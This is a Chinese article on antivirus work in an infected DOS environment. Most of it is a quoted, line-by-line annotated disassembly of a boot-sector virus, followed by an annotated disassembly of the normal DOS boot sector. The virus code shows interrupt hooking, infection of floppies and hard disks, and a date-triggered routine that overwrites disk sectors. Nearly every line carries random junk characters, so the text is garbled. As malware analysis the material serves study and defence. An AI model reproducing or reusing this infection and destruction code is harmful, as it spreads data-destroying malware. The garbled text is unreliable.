近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 "rxhS;
R1>
?? H}v.0R
?? 一 、 带毒环境下检测清除病毒的意义 '+?L/|'
?? $ glt%a
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 2AYV9egZ
?? p@B/S(Xi
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 nE"##2X
?? ^d6}rtG
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 %{M_\Ae#
?? IQz"FH?
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 {jyI7r#X
?? {WokH;a/
?? 二 、带毒环境下检测清除病毒的原理 kH;DAphk
?? =[A5qwyv
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 ai,\'%N
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 M$Sq3m`{!
k OYF]^uJ
8&[Lr o9
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " #>O!N
病毒体: 2pr#qh8
JMP 01AF ;JMP到01AF 7Iz%Jty
DB 00 ;病毒标计 p2m@0ou
DW 00F5 ;此为搬到高位址后,远程跳转指令 "gt-bo.,
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX R'Gka1v
DB 02 ,<Ag&*YE4
DW 0003 ;此为软盘识别标记,硬盘为0007 F7f psAt7
DW EC59 ; #6g9@tE
DW F000 ;INT 13H的原入口 >z{*>i,m1
. l]g
/rs
. \\ZR~f!<
. F_^)zss
. 0`WjM2So
. tO?NbW cp
XOR AX,AX ;清除AX Rs$fNW@P
MOV DS,AX; ;让DS=0000 8|]r>L$Wk
CLI ;清I标志积存器 1gK<dg
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 c>SFttbU
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 r6,EyCWcCs
MOV SP,AX ;开机时为0000:7CB6 I,7~D!4G
STI ;设I标志积存器 ^|^yw gK
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A )Cas0~ RM
PUSH AX ;用RETF,把程序转到引导或分区表位置 c<k=8P
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 \@\r`=WgB
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 2wCSjAWWh(
MOV AX,[004E] ;取INT 13H的段地址 JD\yl[ac%
MOV [7C0C],AX ;存到010C o*]Tqx
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 W;Pdbf"
;读写以便传播发作 3VI[*b
Fx@ovI- 5
MOV AX,[0413] ;取得内存K数,放在AX g?7I7W~?`
DEC AX ; 7LFJi@*8
DEC AX ;减2k内存 F.rNh`44
MOV [0413],AX ;存回,通常是638K Xu.Wdl/{Ra
MOV CL,06 ; 7lLh4__;`6
SHL AX,CL ; A{Kc"s4fO
MOV ES,AX ;算出减2K后病毒本体的位址 <w,NMu"
MOV [7C05],AX ;AX存入0105 dnwTD\),
|2Krxi3*
;病毒常用手法将系统高段内存减少以便驻留 `j#zwgUs
;这样可以免于被其他程序覆盖 !g`^<y!
54lU~ "
MOV AX,000E ;病毒拦INT 13H kT@m*Etr{
;ISR起始的偏移量 GgU8f0I
MOV [004C],AX ; KF .O>c87&
MOV [004E],ES ;设原为病毒的INT 13H xM+_rU
M|h
MOV CX,01BE ;病毒长度为1BE {/)q=
MOV SI,7C00 ;从JMP 01AF开始 &b__/o
XOR DI,DI ;DI=0 4Eri]O Ri
CLD ;清方向标志 I>bO<T`
REPZ; qsT@aSIo9
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 /VmtQ{KTt+
CS: ;分区表能载入0000:7C00正常运作 ~cf*Oq
JMP FAR [7C03] ;跳到为搬过后的位址 ^cz4nW<
XOR AX,AX ;清AX A,'F`au
MOV ES,AX ;ES=0000 i?3~Gog
INT 13 ;复位磁盘 " jBc5*
PUSH CS ; z [|:HS&
POP DS ;让DS=CS Tqf:G4!
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 +GYO<N7
MOV BX,7C00 ;读到0000:7C00 cj64.C
MOV CX,[0008] ;硬盘第0道,第7扇区 = :/4)
CMP CX,+07 ;比较是否从硬盘启动 `iQ])C^d
JNZ 0213 ;不是跳0213 >eC>sTPQ{
MOV DX,0080 ;第一硬盘C:第零面 \PzJ66DL!
INT 13 ;用INT 13号中断,读 *HONA>u
JMP 023E ;跳023E比较日期,发作或正常开机 hl/) 1sOIR
MOV CX,[0008] ;软盘0道,第3扇区 F HK{cE
MOV DX,0100 ;A:的第0面 X7~^D[X
INT 13 ;INT 13读盘 hEh` cBO
JB 023E ;失败跳023E 4@mK:v%
PUSH CS i^SPNs=
POPES ;让ES=CS K\trT!I
MOV AX,0201 ; w-j^jU><3
MOV BX,0200 ; L-9AJk>V
MOV CX,0001 ; c%+_~iBUN
MOV DX,0080 ; tH)fu%:p
INT 13 ;读入C:的分区表到0200,以便下面比较 <G_71J`MLC
JB 023E ;失败跳023E zk;'`@7
XOR SI,SI ;清SI w paI}H#
CLD ;清方向标志以便比较 sU$<v( `"
LODSW ;载入一个WORD到AX #iiXJnG
CMP AX,[BX] ;比较有无病毒存在..E9AC ufi:aE=}
JNZ 0287 ;没有则跳0287传染 L%`MoTpKq
LODSW ;载入一个WORD到AX n~Yr`5+Z
CMP AX,[BX+02] ;再次确认..0000 rj
] ~g
JNZ 0287 ;没有跳0287 <r1/& RW,
XOR CX,CX ;清CX c;B: o
MOV AH,04 ; v,L@nlD]
INT 1A ;取得日期 T!jMh-8
CMP DX,0306 ;是否为三月六日 W; zzc1v
JZ 024B ;是跳024B传染 ?u4t;
RETF ;把程序交还给引导启动完成 'lMDlTU O
=T- jG_.H
步骤4:病毒INT 13代码分析 Y-s6Z\
方法:U V q[4RAd^P
PUSH DS ;首先把要用到积存器 2PC:F9dh\
PUSH AX ;入栈保存 S]Qf
p,
OR DL,DL ;比较是否为软盘 UrmnHc>}c
JNZ 002F ;如不是则退出传染 S8,e`F
XOR AX,AX ;AX=0 pSl4^$2XR
MOV DS,AX ;数据代段=0 pV(qan,
TEST BYTE PTR [043F],01 ;比较是否为A盘 _u9bZ'
JNZ 002F ;不是则退出 rU
|%
POP AX ;将以上保存积存器 JKF/z@Vbe\
POP DS ;弹栈恢复 "!9FJ Y
PUSHF ;压栈标志积存器 U1)!X@F{
CS: ;以便执行原INT 13 0O!A8FA0
CALL FAR [000A] ;执行原INT 13 |4j'KM;U
PUSHF ;再次压栈 | Kq<}R
CALL 0036 ;以便跳转到传染程序 aT~=<rEDy
POPF ;跳转到执行传染 iOB*K)U1
RETF 0002 ;结束中断调用返回 dAr=X4LE
POP AX ;恢复 {
V$}qa{P
POP DS ;堆栈
.Q!p Q"5
CS: ;跳转到原正常INT 13 *AG01# ZF
JMP FAR [000A] ;地址执行 J(Fk@{!F.*
C({r1l4[D
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 hEA;5-m
.3CQFbHF
步骤5:传染过程分析 `$Y%c1;
方法:U (-Qr.t_B`
对软盘传染过程: Rr0]~2R
PUSH AX ;工 pM-mZ/?
PUSH BX ;作 8wLGmv^
PUSH CX ;寄 NpH:5hi
PUSH DX ;存 Se.qft?D%(
PUSH DS ;器 5p>rQq0
PUSH ES ;入 ^8=e8O
PUSH SI ;栈 *pYawT
PUSH DI ;保存 i3vg7V.
PUSH CS ;以压/弹栈方式 yS.)l
POP DS ;使数据段DS和 i.0d>G><@
PUSH CS ;附加段ES均指向 `Ip``I#A
POP ES ;代码段CS 20w4
'@sq
MOV SI,0004 ;试4次 zmhAeblA
MOV AX,0201 ;设置各 w$0*5n>)
MOV BX,0200 ;积存器 [
e#[j{
MOV CX,0001 ;为读软盘 6t{G{ ]
XOR DX,DX ;引导扇区做准备 4xF}rm
PUSHF ;压栈标志积存器 |F +n7
CALL FAR [000A] ;正常的INT 13调用 o]B2^Yq;x
JNB 0063 ;成功则转判断 6Z5$cR_vC7
XOR AX,AX ;不成功复位 &-L9ws
PUSHF ;磁盘继续读 ao"Z%#Jb~
CALL FAR [000A] ;如果4次 -FS!v^
DEC SI ;均匀不成功 RREl($$p
JNZ 0045 ;则退出跳转 zbJ}@V
JMP 00A6 ;退出传染 ]Na; b
XOR SI,SI ;SI=0以便用 cv_t2m
CLD ;LODSW读入软盘 : cPV08i
LODSW ;第1或第2字进行比较 fS3%
CMP AX,[BX] ;比较如果不包含病毒标志 I2gSgv%
JNZ 0071 ;则跳转写传染 J4Ca0Ag
LODSW ;如果已有标志 m A('MS2
CMP AX,[BX+02] ;则退出 blUS6"kV}
JZ 00A6 ;传染子程序 3uL$+F
MOV AX,0301 ;为写盘准备 epI~w
MOV DH,01 ;如果是360K ddY-F
}z~
MOV CL,03 ;则写到1面0道3扇区 t!59upbN}3
CMP BYTE PTR [BX+15],FD ;比较软盘 .M s$)1
JZ 0080 ;如果大于360K R@KWiV
MOV CL,0E ;写到1面0道14扇区 xLP8*lvy
MOV [0008],CX ;写病毒标志到软盘 24*3m&fA*K
PUSHF ;调用原INT 13 #n+sbx5~7
CALL FAR [000A] ;进行传染 Of#"nu
JB 00A6 tm.&k6%
MOV SI,03BE ;以下是将正常 \[
W`hhJ
MOV DI,01BE ;引导扇区从 1
J[z ![Tf
MOV CX,0021 ;1BE起的21字节内容 %reW/;)l{
CLD ;搬移到病毒程序尾部 ~FVbL-2
REPZ ;开始复制 !1mAq+q!
MOVSW . |`) k
MOV AX,0301 ;写盘功能调用,写一个扇区 p2gu@!
XOR BX,BX ;将病毒程序 CoV@{Pi
MOV CX,0001 ;写入软盘引导扇区内 cqp^**s
XOR DX,DX ;设置为软盘 C't%e
PUSHF 6n/KL
CALL FAR [000A] ;执行正常INT 13调用写盘 ;x&3tN/I
POP DI ;将 ?4t~z 1.f
POP SI ;工 Ch]q:o4
POP ES ;作 <bJ~Ol
POP DS ;寄 ]UrlFiR
POP DX ;存 }OSf C~5P
POP CX ;器 G+WCE*
POP BX ;退 [OFT!=.y &
POP AX ;栈 t&-c?&FO\;
RET ;返回调用处 fO837
对硬盘传染过程: D=)qd@,K
MOV CX,0007 ;第7扇区 ie/QSte
MOV [0008],CX ;此处为硬盘引导标记 '.e5Ku
MOV AX,301 ;写功能调用 {JM3drnw
MOV DX,0080 ;设置为硬盘 `F~Fb S
INT 13 ;将正常引导扇区写到0面0道7扇区内 )O\l3h"
JB 13E ;失败则转 +B7UGI
MOV SI,03BE ;原分区表地址 JEfhr
MOV DI,01BE ;目标地址 J?Rp
MOV CX,0021 ;整个分区表 "WqM<kLa
REPNZ qz 29f
MOVSW ;开始复制 xzRC %
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 1?r$Rx<R
;这样在分析着查看硬盘分区信息时仍能看到该部分 BT(G9Pj;
;内容,以次来麻痹分析者 hP/uS%X
MOV AX,0301 ;准备写病毒提进硬盘 <JZa
XOR BX,BX ;病毒体位置 (CE2]Nv9")
INC CL ;第一扇区 .yb8<q s
INT 13 ;开始写盘传染 tfv@
)9
JMP 013E ;转到13E处判断是否为3月6日,是则发作 fVq,?
XX*f
步骤6:破坏过程分析 0qBXL;sE
方法:U M+4S >Sjw
主要分析对硬盘数据破坏: M<@9di7c
.
K4^B ~0~
. ?hW(5]p|
. '=IuwCB|;
. Lya?b
. Kt_HJ!
MOV DL,80 5d|+ c<
MOV BYTE PTR[0007],04 "H{#ib_c_
;准备写硬盘 `~@}f"c`u
MOV AL,11 ;写17个扇区 $-)y59w"
MOV BX,5000 qt%/0
MOV ES,BX ;从内存ES:5000中处开始写 [{J1b
INT 13 ;残不人睹 UL" <V
JNB 0179 ;成功转179继续写 T{T> S%17~
XOR AH,AH 3iiOxg?j
INT 13 ;不成功复位磁盘继续 hflDVGBW
INC DH ;使写操作磁头加1继续? +7K]5p;!~
CMP DH,[0007] ;比较是否小于0007单元值 Uzk_ae
JB 0150 ;是则返回开始处继续写 cr{dl\Na
XOR DH,DH ;DH=0 Pv@;)s(-
INC CH ;再加扇区 *8 ]
JMP 0150 ;反回继续写 U9AtC.IG!
;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 CjA}-ee
;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录 FRTvo
;和文件分配表。 #p=Wt&2
F#{PJ#
引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次 gwYTOs^
读盘的时将自身写入磁盘。 g:"Hg-s
引导过程如下: /zV0kW>N
1>调整堆栈位置 *tT5Zt/&Sr
2>修改并用修改后的磁盘参数表来复位磁盘系统 St1>J.k_
3>计算根目录表的首扇区的位置及IO.SYS的扇区位置 ,I[A~
4>读入根目录表的首扇区 8\Eq(o}7
5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS 7M9s}b%?
6>将IO.SYS文件开头三个扇区读入内存0000:0700H处 5?|PC.
7>跳到0000:0700H处执行IO.SYS,引导完毕 .T*7nw
003E FA CLI $w<~W1\:
003F 33C0 XOR AX,AX FD}>}fLv
0041 8ED0 MOV SS,AX g/,O51f'
0041 8ED0 MOV SS,AX J15$P8J
0043 BC007C MOV SP,7C00 ; 初始化堆栈 dk2o>jI4;
0046 16 PUSH SS SiJX5ydz
0047 07 POP ES ;(ES)=0000H q}5&B=2pM
0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H upH%-)%'
004B 36 SS: ;(SS)=0000H /XW,H0pR
004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI ;"GI~p2~7
004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表 4U:+iumy2
004F 56 PUSH SI ;取到后压入堆栈中保存 >l5JwwG
0050 16 PUSH SS ^F1zkIE
0051 53 PUSH BX ;保存地址0000:0078H mH3{<^Z6
0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推 >JhIRf
0055 B90B00 MOV CX,000B ;磁盘参数表共11字节 d>7bwG+k
0058 FC CLD 6d/b*,4[
0059 F3 REPZ fmq^AnKd
005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处 6UJBE<ntj
005B 06 PUSH ES
4HDQj]z/
005C 1F POP DS ;(DS)=0000H dzMI5fA<_
005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间" ts0K"xmY\c
0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数" RbNRBK!{
0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数" d_Vwjv&@/"
0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址) xE.=\UzJ
006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号 S[M\com'
006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表 =;xlmndT,
0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘 ;
bDFrG
0072 7279 JB 00ED ;出错则转出错处理 /7zy5
x]U (EX`t$
; 下面一段程序计算扇区位置 kLqFh<
0074 33C0 XOR AX,AX Ljxn}):[
0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数 cjO,#W0&f
007A 7408 JZ 0084 ;为零表示大硬盘? [G|2m_
007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处 IN]bAd8"
0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的 j|WaWnl=
0084 A0107C MOV AL,[7C10] ;取FAT表的个数 P6 G/J-
0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数 Dy^4^ J5+
008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位) ]R{=|
008F 13161E7C ADC DX,[7C1E] ; 高位 2=NYBOE
0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位) zR3Z(^]v
0097 83D200 ADC DX,+00 ; (高位) _mL 9G5~r
009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位) PX'I:B]x*
009D 8916527C MOV [7C52],DX ; (高位) Y<.F/iaH
00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位) D 2Go,1
00A4 89164B7C MOV [7C4B],DX ; (高位) p:ST$ 1 K
00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节 M !OI :v
00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数 vR~*r6hX8
00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数" $Y0bjS2J
00B3 03C3 ADD AX,BX ;这两条指令是为了取整 M+^K,
00B5 48 DEC AX 7\U1K^q
00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数 /ADxHw`k
00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位) {UZli[W1
00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位) h?YjG^'9
;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS TJ5{Ee GV
00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值 emS +%6U
00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位) k*c:%vC!
00C8 A1507C MOV AX,[7C50] ; (低位) NI s4v(!
00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号 @4B2O"z`
00CE 721D JB 00ED ;出错则转出错处理 cmN0ya
00D0 B001 MOV AL,01 L{fP_DIa
00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇) y!!+IeReS
00D5 7216 JB 00ED ;出错处理 e?lqs,m@"
00D7 8BFB MOV DI,BX ;内存缓冲区的首址 D&9j$#9Rh
00D9 B90B00 MOV CX,000B ;比较11个字节 *Ucyxpu~$
00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节 $'FPst8Q<
00DF F3 REPZ :g9z^ $g
00E0 A6 CMPSB ;看第一项是否为IO.SYS ]:E]5&VwV}
00E1 750A JNZ 00ED ;不是则出错 '\*Rw]bR|
00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项 c[y=K)<Z
00E6 B90B00 MOV CX,000B ;比较11个字节 FVQWz[N
00E9 F3 REPZ Sc~kO4
00EA A6 CMPSB ;看第二项是否为MSDOS.SYS A# M
00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理 M9OFK\)
T*T.\b
;下面一段进行出错处理 Z%OS W
00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..." >;3c;nf
00F0 E85F00 CALL 0152 ;显示字符串 4QZy-a*tA
00F3 33C0 XOR AX,AX hy )RV=X
00F5 CD16 INT 16 ;等待任一键按下 xf]4!zE
00F7 5E POP SI VD#^Xy4% r
00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H !d0@^JbM"
00F9 8F04 POP [SI] Xp?Z;$r$
00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容 ToJru
00FE CD19 INT 19 ;自举 VD3[ko
0100 58 POP AX T&23Pf 1
0101 58 POP AX $^0YK|F
0102 58 POP AX ;清理堆栈 Csc2 yI%3
0103 EBE8 JMP 00ED ;再次试图起动 1aT$07G0
sTqB%$K}
;下面读入IO.SYS的头3个扇区到内存0000:0700H处 "DN `@
0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号 3CHte*NL=
0108 48 DEC AX U; q)01
0109 48 DEC AX ;首簇号减二 'Lw\nO.
010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数 Ul'G
g
010E 32FF XOR BH,BH 86I*
0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数 Hf-F-~E
0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号 (_08?cN
0116 13164B7C ADC DX,[7C4B] `WW0~Tp3
011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值 }I`|*6Up
011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区 8say"Qz
0120 50 PUSH AX ;逻辑扇区号进栈(低位) 4QVd{
0121 52 PUSH DX ; (高位) M1M]]fT0ME
0122 51 PUSH CX ;循环计数器进栈 8Z!ea3kAT
0123 E83A00 CALL 0160 ;逻辑扇区号转换为物理扇区号 K/,lw~>
0126 72D8 JB 0100 ;出错处理 Le'\x`B
0128 B001 MOV AL,01 j&mL]'Zy
012A E85400 CALL 0181 ;读一个扇区到内存缓冲区 ,RHHNTB("
012D 59 POP CX ;循环计数出栈 A{o{o++
012E 5A POP DX o_N02l4J)
012F 58 POP AX ;逻辑扇区号出栈 Ji[w; [qL
0130 72BB JB 00ED ;读盘出错处理 O9y Q9sl
0132 050100 ADD AX,0001 *Sf^()5C,
0135 83D200 ADC DX,+00 ;下一个扇区 VV4_
0138 031E0B7C ADD BX,[7C0B] ;缓冲区指针移动一个扇区的大小 >lW*%{|b$^
013C E2E2 LOOP 0120 ;循环读入三个扇区 C/Z"W@7#;
013E 8A2E157C MOV CH,[7C15] ;取"磁盘介质描述",传给IO.SYS TatyD**(
0142 8A16247C MOV DL,[7C24] ;取"系统文件所在的驱动器号" }00e@a
0146 8B1E497C MOV BX,[7C49] ;取IO.SYS的首扇的逻辑扇区号 -&A[{m <,>
014A A14B7C MOV AX,[7C4B] G9[-|[j^N
014D EA00007000 JMP 0070:0000 ;执行IO.SYS,引导完毕 Jr9}'l8
;显示字符串的子程序 .0|J+D
0152 AC LODSB ;从串中取一个字符 yW&iUh=0
0153 0AC0 OR AL,AL !jW32$YTR
0155 7429 JZ 0180 ;为0则已到串尾,返回(共用RET指令) .2P?1HpK
0157 B40E MOV AH,0E 6J*`<k/S
0159 BB0700 MOV BX,0007 Y"jDZG?
015C CD10 INT 10 ;显示该字符 aS7zG2R4H
015E EBF2 JMP 0152 ;循环显示下一个 GT.^u#r
;将逻辑扇区号转换为物理扇区号的子程序 }a1UOScO0
0160 3B16187C CMP DX,[7C18] ;这两条指令是为了避免第二次除法时除数 1m)/_y~1
k
0164 7319 JNB 017F ;为0 WI,=?~-
0166 F736187C DIV WORD PTR [7C18] ;逻辑扇取号除以每道扇区数,商(AX)=总磁 80EY7#r@w
016A FEC2 INC DL ;道数,余数(DX)再加一即为扇区号,因为扇 l!=WqIZ
016C 88164F7C MOV [7C4F],DL ;区号是从1开始的,而不是从0开始 $g};u[y
0170 33D2 XOR DX,DX `IoX'|C[h
0172 F7361A7C DIV WORD PTR [7C1A] ;总磁道数(AX)再除以面数,所得的 zef,*dQY
0176 8816257C MOV [7C25],DL ;余数(DX)=面号(即磁头号) yBj)#m5!
017A A34D7C MOV [7C4D],AX ;商(AX)=磁道号 Td
>k \<
017D F8 CLC _2Z3?/Y
017E C3 RET ;正常返回 +*DX(v"BH
017F F9 STC >cNXB7]E>
0180 C3 RET ;异常返回 rh&on